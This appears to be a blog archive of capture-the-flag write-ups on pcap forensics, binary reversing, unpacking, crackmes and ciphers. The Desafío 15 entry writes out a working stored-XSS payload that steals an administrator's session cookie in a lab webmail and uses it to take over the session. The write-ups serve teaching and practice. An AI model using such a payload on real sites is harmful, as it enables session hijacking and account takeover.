// ==UserScript==
// @include http://www.securitybydefault.com/*
// ==/UserScript==
window.opera.addEventListener('BeforeEvent.load', function (e)
{
sbdobj=document.getElementById('HTML3');
sbdhijo=sbdobj.selectSingleNode('style');
sbdobj.removeChild(sbdhijo);
}, false);
jueves, 6 de diciembre de 2012
Comentarios de Security by Default con Opera
lunes, 19 de noviembre de 2012
WriteUp - Forensic 500 - PoliCTF
We are given a packet capture that you can find here: communication.pcap
We also get a hint: “Let's call someone from the old days”
The capture contains a RTP communication that we can listen using Wireshark:
One of the streams got us Rickrolled XDDD, but the other one sounded like some kind of binary data communication. The last one looks like a FSK:
And this is its frequency distribution, with peaks in 1100Hz and 2300Hz:
So we google a bit, searching for FSK, 1100 and 2300 Hz and we got here:
http://www.herrera.unt.edu.ar/eiii/material/apuntes/FMEstereo-ModEspeciales.pdf
Which directed us to Bell 202 modems, and to AX.25 modulation, which is supported by SkySweeper, so after changing baud rate to 1200 we get a familiar output (It’s difficut to describe how happy a PNG header can make you after some trial and error
These are the packets with the png file:
FRAME TYPE : Unnumbered Frame
Flag : 7e
Destination Address : NOCALL 60
Source Address : OTA22 61
Control Field Type : UI Unnumbered Information
P/F : 0
cc 45 00 01 00 fd cf 40 00 40 06 27 ce 0a 2b 00 LE...}O@.@.'N.+.
01 0a 2b 00 04 9a d8 27 0f a9 fd 3f 7d 7a 0c d3 ..+...X'.)}?}z.S
bd 80 10 00 08 ad bf 00 00 01 01 08 0a 04 a7 c4 =....-?.......'D
f6 00 12 a5 e4 89 50 4e 47 0d 0a 1a 0a 00 00 00 v..%d.PNG.......
0d 49 48 44 52 00 00 00 af 00 00 00 af 01 03 00 .IHDR.../.../...
00 00 b1 5c 1c 36 00 00 00 06 50 4c 54 45 ff ff ..1\.6....PLTE..
ff 00 00 00 55 c2 d3 7e 00 00 01 a3 49 44 41 54 ....UBS~...#IDAT
48 89 bd 97 c1 b1 83 30 0c 44 37 93 83 8f 94 e0 H.=.A1.0.D7....`
4e a0 31 66 60 26 8d 41 27 94 c0 91 03 83 fe ae N 1f`&.A'.@...~.
cc cf ff 0d 2c 3e 38 f0 cc c1 96 56 6b 05 78 7e LO..,>8pLA.Vk.x~
94 e0 c0 b0 bf 73 da ca aa f7 c5 8b 17 a0 e2 45 .`@0?sZJ*wE.. bE
cc a7 11 65 dd 21 66 c5 6b 9c 15 3d 49 5c 98 36 L'.e]!fEk..=I\.6
7e 30 c5 13 98 bf d3 a6 3d e1 31 8c 57 9c 88 a5 ~0E..?S&=a1.W..%
fb 6c c7 13 58 f1 e6 c4 ec de f8 2f 0d 2e 2c 15 {lG.XqfDl^x/..,.
31 b1 63 bd a7 7f 62 33 e1 56 29 ab 84 cc 08 d4 11c='.b3aV)+.L.T
5f 62 c5 c3 2e 21 c7 67 0b 69 38 9f dc b8 67 a8 _bEC.!Gg.i8.\8g(
e3 c
FCS : 40c6 OK
Flag : 7e
FRAME TYPE : Unnumbered Frame
Flag : 7e
Destination Address : NOCALL 60
Source Address : OTA22 61
Control Field Type : UI Unnumbered Information
P/F : 0
cc 45 00 01 00 fd d0 40 00 40 06 27 cd 0a 2b 00 LE...}P@.@.'M.+.
01 0a 2b 00 04 9a d8 27 0f a9 fd 40 49 7a 0c d3 ..+...X'.)}@Iz.S
bd 80 10 00 08 f7 ac 00 00 01 01 08 0a 04 a7 c4 =....w,.......'D
f6 00 12 a5 e4 ea 66 85 a1 c5 bb 1e 66 3c 50 46 v..%djf.!E;.f<PF
b9 76 80 6b dc 4e aa ca 89 95 62 12 bc e3 5b ae 9v.k\N*J..b.<c[.
7a 75 e2 f4 23 96 cd 5c 8f be 53 d0 f9 95 36 68 zubt#.M\.>SPy.6h
c4 ac 98 19 8c f2 fb 76 08 70 cd 8c 35 24 5f 9e D,...r{v.pM.5$_.
5b e4 18 62 86 1b f7 dd 99 3b 51 bc 53 50 53 13 [d.b..w].;Q<SPS.
b2 0f eb f0 95 42 fe 84 d4 5c ff ee 1d 23 ce 8a 2.kp.B~.T\.n.#N.
e9 3b 3a 53 d0 21 0e 95 ab 19 33 ca dc 49 30 c5 i;:SP!..+.3J\I0E
b9 c6 08 8c d5 8c ef fb ba 5d 30 a9 66 8a 0c 56 9F..U.o{:]0)f..V
8c 41 77 1a cb 75 e3 53 fa 3e 3d 6a 71 63 16 69 .Aw.KucSz>=jqc.i
b4 28 f3 dc 19 7e 58 71 09 79 2d fb 93 9a a6 c4 4(s\.~Xq.y-{..&D
c3 67 ef e0 c4 39 98 e2 29 58 a9 27 ca 85 76 78 Cgo`D9.b)X)'J.vx
23 2e 92 11 77 92 96 af 0f 32 d9 56 9c 83 35 1b #...w../.2YV..5.
cd 75 43 22 33 e3 d6 51 eb 82 41 5a a0 ee 34 37 MuC"3cVQk.AZ n47
5e ^
FCS : 7b57 OK
Flag : 7e
FRAME TYPE : Unnumbered Frame
Flag : 7e
Destination Address : NOCALL 60
Source Address : OTA22 61
Control Field Type : UI Unnumbered Information
P/F : 0
cc 45 00 00 8a fd d1 40 00 40 06 28 42 0a 2b 00 LE...}Q@.@.(B.+.
01 0a 2b 00 04 9a d8 27 0f a9 fd 41 15 7a 0c d3 ..+...X'.)}A.z.S
bd 80 18 00 08 02 ba 00 00 01 01 08 0a 04 a7 c4 =.....:.......'D
f6 00 12 a5 e4 d4 51 d3 75 19 ef 3d 1b ce 69 2b v..%dTQSu.o=.Ni+
66 dc 7a 4d 92 54 b3 f6 95 29 7e 02 87 24 8d af f\zM.T3v.)~..$./
29 b9 71 76 b6 32 25 65 77 ac 61 c6 8a b7 3a db )9qv62%ew,aF.7:[
d6 02 96 8b fa 4a 9d 19 f1 fd 1f 10 cd 7f 39 cd V...zJ..q}..M.9M
df 26 de 84 9f 1f 3f 12 35 c5 cb 56 7f cb c1 00 _&^...?.5EKV.KA.
00 00 00 49 45 4e 44 ae 42 60 82 ...IEND.B`.
FCS : 9967 OK
Flag : 7e
Since there are only a few packets, we reconstructed the stream from the packets manually to get a QR-Code…
… which gives us the key:
The key is: 73e4geru3i21eWuypzFIueK
sábado, 13 de agosto de 2011
WriteUp - forensicK - ptrace.net
After taking part in Sibctf quals, I saw a related tweet from Ptrace Security group that took me to their website, where I found this nice challenge:
http://ptrace.net/files/challenges/4.txt
Here is my solution, probably not the best one:
We are given a pcap network capture, which we can know by verifying the magic number, but when we try to open it, Wireshark says it is corrupted. Only six packets are viewed, which we assume to be correct.
We open the file in 010 Editor and apply the pcap template by Didier Stevens to see what is happening. The file fomat seems to be quite easy... just a header for the file and a little header for each packet consisting of:
timestamp seconds
timestamp microseconds
number of octets of packet saved in file
actual length of packet
After playing for a while with 010 Editor I realized that some packets were overlapping the next ones. The sizes reflected for each packet in the cap metadata seemed to match the ones in the IP header and TCP sequences, so I guess some bytes were deleted from the original capture, although I was not able to determine which ones for sure.
For example, in the next image we see the 6th packet overlaps 10 bytes from the next packet. In fact it should finish in offset 43Ch, and then begin the header for 7th packet, but according to its header, it finishes in 446h:"
Since the metadata in the pcap file let us indicate the size of the packet that was captured, I decided to use that field to fix the file.
The problem is that the header for each packet has no fixed token, so we must guess where each packet begins. In this case it was not difficult because in the network capture there was only two MAC addresses involved, so we used them to identify each packet.
I admit I did it manually the first time, but since there are more than a handful, later I made this python script.
import re
import mmap
import binascii
from struct import *
def nextframe(map, last, pat1, pat2):
next1=map.find(pat1,last+1)
next2=map.find(pat2,last+1)
if next1 < 0:
if next2 <0:
next=-1
else:
next=next2
else:
if next2 < 0:
next=next1
else:
next=min(next1,next2)
return next
with open("4_forensicK.bin.cap", "r+") as f:
# memory-map the file, size 0 means whole file
map = mmap.mmap(f.fileno(), 0)
map2 = map
previous=0
next=0
#I only expect 1 unicast comunication on layer 2, with only IP packets
#so I use 2 different ethernet frame headers to locate frames
pat1=binascii.unhexlify('00c049d2e4640016d32987a10800')
pat2=binascii.unhexlify('0016d32987a100c049d2e4640800')
next=nextframe(map,next,pat1,pat2)
while True:
previous=next
captnum=unpack('<i',map[next-8:next-4])[0]
next=nextframe(map,next,pat1,pat2)
if next!=-1:
distanciapaq=next-previous-16 #Each packet has a 16 byte header
if distanciapaq != captnum:
if distanciapaq > captnum:
print "Next packet is further than expected. There may be more layer 2 comunications. Review manually."
else:
#Actual packet is overlapping next one
map2[previous-8:previous-4]=pack('<i',distanciapaq)
print 'Cap fixed at offset', previous-8,' Previous capture size', captnum, 'actual size', distanciapaq
else:
break
map.close()
Be careful, it overwrites the input file. You don't want to tamper your evidences ;-)
After that, I could open the file without problems, so I reviewed the connections, decoded connections to tcp port 8086 as HTTP and could see the server answers uncompressed to find the flag:
So, the flag is: 3406654e25675f56ce7922cf5ec12952
Of course, it could be resolved much faster just by following the hints in the http queries, visible with strings, and uncompressing the gzip streams in the answers that followed them, but we are not here for the money, you know!! ;-)
jueves, 21 de julio de 2011
WriteUp - fatherapple - wgsbd2
Nos proporcionan el ejecutable sig_32.
Al ejecutarlo muestra el siguiente mensaje y se queda esperando:

Al pulsar Ctrl-C para salir, nos da un mensaje extra:

Los números que muestra cambian en cada ejecución, pero no sabemos mucho más, así que pasamos a analizarlo con IDA. Por suerte, es un binario muy sencillo. Vemos aquí la función principal:

Podemos ver que se realiza un fork y las actividades básicas tanto del proceso padre (salida del fork distinta de cero) como del hijo. No vemos directamente que se imprima el mensaje "Hack ___ planet", pero recordamos que ha salido al pulsar Ctrl-C, por lo que debe imprimirse en el manejador de la señal, así que nos fijamos en ese punto.
Efectivamente el proceso padre está redefiniendo la señal 2 (SIGINT), por lo que asumimos que en esa función se muestra el comentado "Hack ___ planet". Por su parte, el proceso hijo redefine la señal 14 (SIGALRM) y después muestra el mensaje principal, donde vemos que los números de manzanas que nos indicaba son el pid del proceso padre y el del hijo.
Queremos ver qué hace este proceso al recibir la señal SIGALRM, así que vamos a la función legendary:

Curioso... fija fflussh como el manejador de la señal 12 (SIGUSR2), espera 1 segundo y vuelve a cambiarlo a la función boobs. Sólo por el nombre de la función, miramos primero esta última y vemos que no hace nada (¿WTF? juegan con mis sentimientos como si fuera una marioneta ;-)). fflussh en cambio parece contener algún mensaje oculto.
Como ya estoy vago, vamos a probar si el análisis que hemos hecho hasta ahora está bien... necesitamos enviar al proceso hijo, que amablemente nos indica su pid, la señal 14, y en menos de 1 segundo (pero dándole tiempo a fijar la nueva señal) enviar la señal 12:

It works!!! :-)
miércoles, 20 de julio de 2011
WriteUp - therabbit - wgsbd2
Nos proporcionan el ejecutable therabbit.exe.
Si lo ejecutamos, descarga del servidor del reto un fichero llamado metienescontento.arj, pero en seguida vemos mediante un editor hexadecimal que es un RAR, y al intentar descomprimirlo, que tiene contraseña.
Atacar por fuerza bruta la contraseña del RAR es lentísimo, así que decidimos analizar el ejecutable porque parece lógico que contenga la contraseña para descomprimir el archivo que ha bajado.
Analizando las cadenas contenidas en el binario vemos que está comprimido con UPX:
>strings -q therabbit.exe|head
!This program cannot be run in DOS mode.
\>%
\>J
|)E
\>!
Rich
UPX0
UPX1
.rsrc
3.00
Descargamos el packer de su web http://upx.sourceforge.net/ y lo utilizamos para extraer el binario original:

El ejecutable desempaquetado resulta ser un script de AutoIt transformado en ejecutable, como podemos observar en las cadenas del ejecutable o en las propiedades del mismo:

Investigando un poco, llegamos a esta entrada en el fabuloso blog de Didier Stevens:
http://blog.didierstevens.com/2007/10/02/autoit-malware-revisited/
Siguiendo sus instrucciones, nos bajamos la versión de AutoIt apropiada y mediante Exe2Aut recuperamos el script original, por suerte sin contraseña.
Es muy fácil localizar la parte interesante, y a primera vista llama la atención una variable con el valor "car411o" que apesta a contraseña. Además vemos otras 2 variables que tampoco se utilizan, con los valores "unsoldo" y "fai":

Me puse en la piel de B4RRe1R0, me impregné de acento gallego y la solución salió sola: "faiunsoldocar411o".
Con esta contraseña podemos descomprimir el fichero descargado y obtenemos el token:
>cat cozashula.txt
eze_ezpanyolitoSexydem0da
WriteUp - 90sdancing - wgsbd2
Lo primero que tienes que hacer es leer la impresionante solución de Sherab Giovannini a este reto:
http://www.reversingcode.com/f1l3s/90sdancing.by.Sherab.Giovannini.zip
Una vez hecho eso, si su capacidad te desborda (como a mí), igual te interesa esta solución de andar por casa.
Nos proporcionan el binario crackme.exe. Analizando las cadenas de texto incluidas en el mismo enseguida vemos que es un ejecutable creado a partir de un script de python con py2exe.
>strings crackme.exe|grep -i py2exe
PY2EXE_VERBOSE
PY2EXE_VERBOSE
py2exe
C:\Python24\lib\site-packages\py2exe\boot_common.pyR
This file and also _memimporter.pyd is part of the py2exe package.
Buscando en Google un rato, localizamos un script que nos permite deshacer la conversión:
http://osdir.com/ml/python.py2exe/2007-11/msg00030.html
Como indican en la misma página, hay que ejecutarlo con la versión de python que se utilizó para generar el ejecutable, así que instalo en mi máquina python 2.4 y lo probamos:
>\Python24\python.exe exe2py.py crackme.exe
HEADER: 0x78563412 0 0 3039
ZipArchive:
Found code object: C:\Python24\lib\site-packages\py2exe\boot_common.py
Extracting to: boot_common.pyc
Found code object:
Disassembly:
1 0 LOAD_CONST 0 (None)
3 IMPORT_NAME 0 (zipextimporter)
6 STORE_NAME 0 (zipextimporter)
9 LOAD_NAME 0 (zipextimporter)
12 LOAD_ATTR 1 (install)
15 CALL_FUNCTION 0
18 POP_TOP
19 LOAD_CONST 0 (None)
22 RETURN_VALUE
Found code object: crackme.py
Extracting to: crackme.pyc
Perfecto, ya tenemos un script de python compilado, así que vamos a la web depython.net para obtener el código fuente:

Ya podemos ver claramente que pasando como parámetro "Captain hollywood" obtendremos el token que buscábamos: "find another way".
miércoles, 6 de julio de 2011
Quals SiBCTF 2011
Este fin de semana se han celebrado las quals del SiBCTF 2011. Hemos participado y hemos conseguido clasificarnos para la final del SiBCTF 2011. En la final estarán 8 equipos rusos y 8 equipos no rusos. Se celebrará el 11 de Septiembre del 2011. Los equipos que estarán en la final serán:
Lista de equipos rusos invitados a las finales del “SiBCTF 2011”
- Leet More
- HD || ! HD
- PeterPen
- MiT
- HackerMayCry
- Koibasta
- [censored]
- Honeypot
Lista de equipos no rusos invitados a las finales del “SiBCTF 2011”
- Plaid Parliament of Pwning
- disekt
- SGM48
- tiwfrags
- shell-storm
- Keysec
- pwnfu
- pentsec
Intentaremos hacerlo lo mejor posible. Hasta ese día, a practicar ;-)
domingo, 1 de mayo de 2011
WriteUp - Desafío 13 - H4ckc0nt3st GSIC 2011


WriteUp - Desafío 16 - H4ckc0nt3st GSIC 2011
Nos presentan un binario llamado ‘resiste’, a ver qué podemos hacer con él.
Si llamamos al binario sin parámetros o con más de uno, nos responde “¿Así, sin más?”, mientras que si ponemos solo un parámetro con cualquier valor tampoco le gusta demasiado y nos lo indica con un “:(”.
Abrimos el binario con el IDA y vemos que no tiene definida la función main, por lo que en su lugar nos lleva a start, que llama a __libc_start_main.

Vamos a sub_8048470 para observar el código llamado y vemos el siguiente esquema:

El programa descifra una sección del código en memoria y salta a él, por lo que sólo con análisis estático no vamos a poder hacer mucho y decidimos usar gdb.
Arrancamos con un parámetro para que el flujo del programa nos lleve hasta donde nos interesa:
# gdb -q --args ./resiste AAAAAAAAAA
(no debugging symbols found)Con mis limitados conocimientos de gdb, suelo poner ‘start’ para cargar el programa y poder desensamblar el programa, pero haciéndolo en este caso lanza el programa completo, así que para evitarlo tengo que poner algún punto de ruptura. Como hemos visto antes una llamada a mmap() y está situada cerca del punto que nos interesa, la utilizo para fijar el breakpoint:
(gdb) b mmap
Function "mmap" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (mmap) pending.
(gdb) run
Starting program: /root/resiste AAAAAAAAAA
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0xb7ef3f80 in mmap () from /lib/tls/i686/cmov/libc.so.6Comprobamos dónde nos encontramos para situarnos y poder fijar el siguiente punto de ruptura donde nos interese, en la zona de memoria desde la que se ha llamado a mmap():
(gdb) where
#0 0xb7ef3f80 in mmap () from /lib/tls/i686/cmov/libc.so.6
#1 0x080484ec in ?? ()
#2 0xb7e2c685 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
#3 0x080483c1 in ?? ()Intento obtener el código desensamblado con el comando que utilizo habitualmente para ello ‘disas’, pero no lo acepta por encontrase esa zona de memoria fuera de las funciones definidas, por lo que toca googlear un poco hasta localizar que podemos mostrar la memoria decodificándola como instrucciones, y este método sí nos funciona en este caso:
(gdb) disas 0x080484ec
No function contains specified address.
(gdb) x/20i 0x080484ec
0x80484ec: xor %edx,%edx
0x80484ee: cmp $0xffffffff,%eax
0x80484f1: je 0x8048576
0x80484f7: nop
0x80484f8: movzbl 0x80486c0(,%edx,4),%ecx
0x8048500: xor %edx,%ecx
0x8048502: mov %cl,(%eax,%edx,1)
0x8048505: add $0x1,%edx
0x8048508: cmp $0xbe,%edx
0x804850e: jne 0x80484f8
0x8048510: mov 0x4(%ebx),%edx
0x8048513: mov %eax,0x8049b84
0x8048518: mov %edx,(%esp)
0x804851b: call *%eax
0x804851d: test %eax,%eax
0x804851f: jne 0x8048547
0x8048521: mov 0x4(%ebx),%eax
0x8048524: movl $0x8048664,0x4(%esp)
0x804852c: mov %eax,0x8(%esp)
0x8048530: mov 0x8049b80,%eaxDe esta forma ya podemos localizar la llamada al código desempaquetado (call *%eax) y fijamos un punto de ruptura en esa instrucción para poder entrar posteriormente en el método llamado.
(gdb) b *0x804851b
Breakpoint 2 at 0x804851b
(gdb) continue
Continuing.
Breakpoint 2, 0x0804851b in ?? ()
(gdb) stepi
0xb7f82000 in ?? ()Ya estamos dentro del código desempaquetado y podemos ver el código desensamblado del método:
(gdb) x/70i 0xb7f82000
0xb7f82000: push %ebp
0xb7f82001: mov %esp,%ebp
0xb7f82003: sub $0x20,%esp
0xb7f82006: movb $0xf4,-0x17(%ebp)
0xb7f8200a: movb $0xee,-0x1f(%ebp)
0xb7f8200e: movb $0xcb,-0x20(%ebp)
0xb7f82012: movb $0xd3,-0x14(%ebp)
0xb7f82016: movb $0xce,-0xd(%ebp)
0xb7f8201a: movb $0xe2,-0x1d(%ebp)
0xb7f8201e: movb $0xc4,-0x1c(%ebp)
0xb7f82022: movb $0x0,-0x5(%ebp)
0xb7f82026: movb $0xec,-0x1e(%ebp)
0xb7f8202a: movb $0xe9,-0xc(%ebp)
0xb7f8202e: movb $0xe8,-0x15(%ebp)
0xb7f82032: movb $0xcf,-0xb(%ebp)
0xb7f82036: movb $0xe6,-0x1b(%ebp)
0xb7f8203a: movb $0xe8,-0x13(%ebp)
0xb7f8203e: movb $0xf4,-0x17(%ebp)
0xb7f82042: movb $0xee,-0x18(%ebp)
0xb7f82046: movb $0xc6,-0x12(%ebp)
0xb7f8204a: movb $0xe2,-0xa(%ebp)
0xb7f8204e: movb $0xeb,-0x1a(%ebp)
0xb7f82052: movb $0xeb,-0x19(%ebp)
0xb7f82056: movb $0xf3,-0x16(%ebp)
0xb7f8205a: movb $0xe6,-0x9(%ebp)
0xb7f8205e: movb $0xf1,-0x8(%ebp)
0xb7f82062: movb $0xf3,-0x10(%ebp)
0xb7f82066: movb $0xe6,-0xf(%ebp)
0xb7f8206a: movb $0xe2,-0x7(%ebp)
0xb7f8206e: movb $0xf5,-0xe(%ebp)
0xb7f82072: movb $0xd4,-0x11(%ebp)
0xb7f82076: movb $0xe9,-0x6(%ebp)
0xb7f8207a: push %ecx
0xb7f8207b: push %edi
0xb7f8207c: push %esi
0xb7f8207d: xor %eax,%eax
0xb7f8207f: mov $0xffffffff,%ecx
0xb7f82084: mov 0x8(%ebp),%edi
0xb7f82087: xor %eax,%eax
0xb7f82089: cld
0xb7f8208a: repnz scas %es:(%edi),%al
0xb7f8208c: not %ecx
0xb7f8208e: dec %ecx
0xb7f8208f: cmp $0x1b,%ecx
0xb7f82092: je 0xb7f8209b
0xb7f82094: mov $0xffffffff,%ecx
0xb7f82099: jmp 0xb7f820b7
0xb7f8209b: mov $0x1b,%ecx
0xb7f820a0: xor %eax,%eax
0xb7f820a2: lea -0x20(%ebp),%eax
0xb7f820a5: mov %eax,%edi
0xb7f820a7: mov 0x8(%ebp),%esi
0xb7f820aa: mov (%edi),%al
0xb7f820ac: xor (%esi),%al
0xb7f820ae: xor $0x87,%al
0xb7f820b0: jne 0xb7f820b7
0xb7f820b2: inc %edi
0xb7f820b3: inc %esi
0xb7f820b4: dec %ecx
0xb7f820b5: jne 0xb7f820aa
0xb7f820b7: mov %ecx,%eax
0xb7f820b9: pop %esi
0xb7f820ba: pop %edi
0xb7f820bb: pop %ecx
0xb7f820bc: leave
0xb7f820bd: ret
0xb7f820be: add %al,(%eax)
0xb7f820c0: add %al,(%eax)
0xb7f820c2: add %al,(%eax)
0xb7f820c4: add %al,(%eax)Vemos cómo se colocan una serie de bytes en un array, en lo que probablemente sea la solución que necesitamos cifrada, pero en su momento no veíamos claro dónde o si se descifraba esta cadena, aunque sí parece que coge la cadena byte a byte y hace algún xor con cada byte, así que fijamos un breakpoint y recogemos la cadena cifrada de la memoria:
(gdb) b *0xb7f820b7
Breakpoint 3 at 0xb7f820b7
(gdb) continue
Continuing.
Breakpoint 3, 0xb7f820b7 in ?? ()
(gdb) x/32b $ebp-0x20
0xbfa37bd8: 0xcb 0xee 0xec 0xe2 0xc4 0xe6 0xeb 0xeb
0xbfa37be0: 0xee 0xf4 0xf3 0xe8 0xd3 0xe8 0xc6 0xd4
0xbfa37be8: 0xf3 0xe6 0xf5 0xce 0xe9 0xcf 0xe2 0xe6
0xbfa37bf0: 0xf1 0xe2 0xe9 0x00 0xc4 0x7c 0xa3 0xbf
(gdb) Cogemos la cadena hasta el byte nulo y le aplicamos fuerza bruta buscando la respuesta que necesitamos mediante el script:
import hashlib
import binascii
from itertools import cycle, izip
def mixor (ss, key):
key = cycle(key)
return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(ss, key))
cadena='cbeeece2c4e6ebebeef4f3e8d3e8c6d4f3e6f5cee9cfe2e6f1e2e9'
for a in range(0,256):
print str(a)+' '+mixor(binascii.unhexlify(cadena),chr(a))Revisando la salida encontramos la respuesta, correspondiente al xor con 135.

Podemos comprobar que funciona introduciéndola como parámetro:
# ./resiste LikeCallistoToAStarInHeaven
Efectivamente, la clave es LikeCallistoToAStarInHeaven. Ahí te he visto fino yo ;)Analizando posteriormente el código, comprobamos que la cadena no se descifra en memoria en ningún momento, sino que se hace un xor byte a byte con el parámetro introducido por el usuario, y posteriormente con 0x87(135). Dadas las propiedades de la operación xor, si la clave es correcta, el resultado será 0 para cada byte.
PD: Este es el último de los retos que resolví en este concurso, así que aprovecho para agradecérselo a los "culpables" del reto y unas excelentes jornadas... ¡¡Muchas gracias a Miguel Gesteiro y a la gente de GSI Coruña!!. Gracias también a la gente de HackPlayers y BatchDrake, que sé que aportaron pruebas. Si me he dejado a alguien no dudéis en decírmelo, por favor :-).
sábado, 30 de abril de 2011
WriteUp - Desafío 15 - H4ckc0nt3st GSIC 2011
En este desafío nos presentan un servicio de correo web sencillo y nos piden que obtengamos la contraseña del administrador.
Nos registramos en el servicio y curioseamos un poco para ver a qué nos enfrentamos… Tenemos un sencillo formulario para enviar mensajes a otros usuarios de la plataforma, una opción para revisar nuestros datos en la que podemos observar nuestra contraseña sin cifrar e incluso un amable mensaje de nuestro administrador indicándonos que si tenemos cualquier problema le escribamos a su cuenta ‘administrador’.
Parece que nos está pidiendo a gritos un XSS (si es que se le puede llamar así en este caso, ya que inyectamos código pero apuntando al mismo site), así que es lo primero que probamos, y de paso vemos el formato que necesitamos para enviar mensajes, que es autoexplicativo:
https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=prueba&cuerpo=<script>alert('xss')</script>Hemos tenido suerte, porque al abrir el mensaje se nos abre el MessageBox esperado :-). Ahora tenemos que preparar el definitivo.
Antes de enviar el mensaje definitivo, nos creamos una segunda cuenta e hicimos pruebas entre ellas, para que no cantaran demasiado todas nuestras pruebas erróneas en el buzón del administrador, pero aquí pondremos los finales.
En primer lugar preparamos la url que queremos que visite nuestro administrador. Queremos robarle la cookie de sesión para poder ir al panel y obtener su contraseña, y nos valemos de la propia plataforma para que nos la envíe. Es decir, queremos que nos envíe un mensaje con su cookie, por lo que siguiendo el formato que hemos visto, debería visitar una url similar a la siguiente:
https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=tuclave&cuerpo=AQUI_LA_COOKIEPara poder añadir el valor de la cookie a esa url debemos obtenerlo mediante javascript, y además no estamos seguros de que el administrador vaya a pinchar en nuestros enlaces, así que preferimos redirigirle automáticamente, con lo que el cuerpo de nuestro mensaje debe ser algo como esto:
<script>document.location="https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=tuclave&cuerpo="+document.cookie</script>Ahora sólo tenemos que enviarle el script, para lo que utilizamos la siguiente url, que envía nuestro mensaje con el payload deseado. Notar que en dicho payload ha habido que codificar los caracteres especiales en una url (?, =, &) para que no fueran interpretados en el primer envío por enviar.hc:
https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=administrador&asunto=prueba&cuerpo=<script>document.location="https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc%3fpara%3dram%26asunto%3dtuclave%26cuerpo%3d"+document.cookie</script>Ya hemos enviado el mensaje, ahora sólo nos queda esperar que el administrador lea sus mensajes y no tenga filtros especiales que impidan que funcione nuestro ataque. Esto es lo que más cuesta del desafío, porque el administrador se estaba echando una merecida siesta después del trabajo bien hecho ;-).
Cuando por fin accede, recibimos el correo que esperábamos con la cookie del administrador, la sustituimos por la nuestra en el navegador y accedemos al panel. Vamos a la opción de revisar la contraseña y conseguimos nuestro objetivo:

Introducimos ‘m41l_XSS’ en el formulario de la prueba y superamos el desafío.
WriteUp - Desafío 12 - H4ckc0nt3st GSIC 2011

import urllib2 base='https://10.20.63.1:6666/desafios/12/conejos/rabbit' #01.png for a in range(1,9): fich=open('rabbit0'+str(a)+'.png','wb') page=urllib2.urlopen(base+'0'+str(a)+'.png') cont=page.read() fich.write(cont) fich.close() for a in range(10,100): fich=open('rabbit'+str(a)+'.png','wb') page=urllib2.urlopen(base+str(a)+'.png') cont=page.read() fich.write(cont) fich.close() window.onload = function(){ document.getElementById("gtk").onclick = getKey; document.getElementById("dec").onclick = decrypt; } </script> <br/> <br/> <br/> <div class="tCentrado"> <img width="150px" height="150px" src="./desafios/12/conejos/rabbit03.png"><br/> 1. sigue al conejo para encontrar la llave de la primera puerta<br/> <br/> llave: <input type="text" value="" id="source"> <input id="gtk" type="button" value=" continuar "> <input id="key" type="hidden" name="key" value=""><br/> <br/> 2. tras la primera puerta encontrarás una segunda, que se abre con una nueva llave<br/> <br/> llave: <input type="text" id="dkey" name="dec"> <input id="dec" type="button" value=" desvelar "> </div> function getKey(){ var source = document.getElementById("source").value; loadData(source,function(x){eval(x);estego();}); } function loadData(strFilename, fncCallback)Esto tiene buena pinta, y como habíamos visto que el contenido de la imagen recordaba a un script, revisamos los que contiene la página web en el navegador y vemos que se ha añadido uno correctamente:
var xFakeOne = function (){alert("Lets make the image bigger!");}; estego = function(){document.getElementById("key").value="jjss11";};var z = function whatElseYouExpect(){alert("Let");}function decrypt(){
var message = "KwLMGF6yZU0iCkCrWAJgmM5hKFvimZao6TWQR15jCbvy86ctBAjnlZ8u5h8idzjcXvpEHmpXz8gwxMMq5QqYWUvAZBN3pq5k1xk9G0KiydDN/v4poUXNRSu2rkLaChAS1MOfiuIx/GrZTEwMp4VoLgLmL5K8sTtiy3U+FQ==";
var key = document.getElementById("dkey").value;
var dec = Aes.Ctr.decrypt(message,key,256);
eval(dec);
exec();
}
var exec = function(){document.getElementById("respuesta").value="torrijin!";document.forms["formulario"].submit();} import zlib import binascii import re seccion='08 99 01 D2 00 2D FF 00 01 03 05 07 09 0B 0C 0E 10 12 14 15 16 18 00 19 1B 1D 1E 20 22 24 26 27 28 2A 2C 2E 2F 00 31 32 33 34 35 37 39 3A 3B 3D 3E 40 41 42 00 43 44 45 47 48 49 4A 4B 4C 4E 4F 50 52 53 00 54 55 56 57 59 5A 5B 5D 5F 60 61 62 63 64 00 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 00 73 74 75 77 78 79 7A 7B 7C 7D 7E 80 81 82 00 83 85 86 87 88 89 8A 8B 8D 8F 91 92 93 94 00 95 96 97 98 99 9A 9C 9D 9E 9F A0 A1 A2 A4 00 A5 A6 A7 A9 AA AB AC AD AE AF B0 B1 B2 B4 00 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C2 C3 00 C4 C5 C6 C7 C8 C9 CB CC CD CE CF D1 D2 D3 00 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 00 E2 E3 E4 E5 E7 E8 E9 EA EB EC ED EE EF F0 93 19 63 39 03 61 4D 0C' p=re.compile(' ') seccionsinespacios=p.sub('',seccion) seccionbinaria=binascii.unhexlify(seccionsinespacios) salida=open('salida1.raw','wb') salida.write(zlib.decompress( seccionbinaria[2:] , -15)) salida.close() viernes, 29 de abril de 2011
WriteUp - Desafío 5 - H4ckc0nt3st GSIC 2011
Tenemos como referencia la palabra “Laconada” que aparece al colocar el ratón encima de los bloques.
Buscamos en www.cryptool-online.org y encontramos un tipo de codificación llamada “bacon” que consiste en:
Haciendo la conversión obtenemos la clave del desafio:
00101 – aabab – F
10000 – baaaa – R
00100 – aabaa - E
00110 – aabba - G
01101 – abbab - O
01100 – abbaa - N
00000 – aaaaa - A
00010 – aaaba - C
01101 – abbab - O
10001 – baaab - S
01011 – ababb - M
01000 – abaaa - I
00010 – aaaba - C
00000 – aaaaa - A
Solución: fregonacosmica











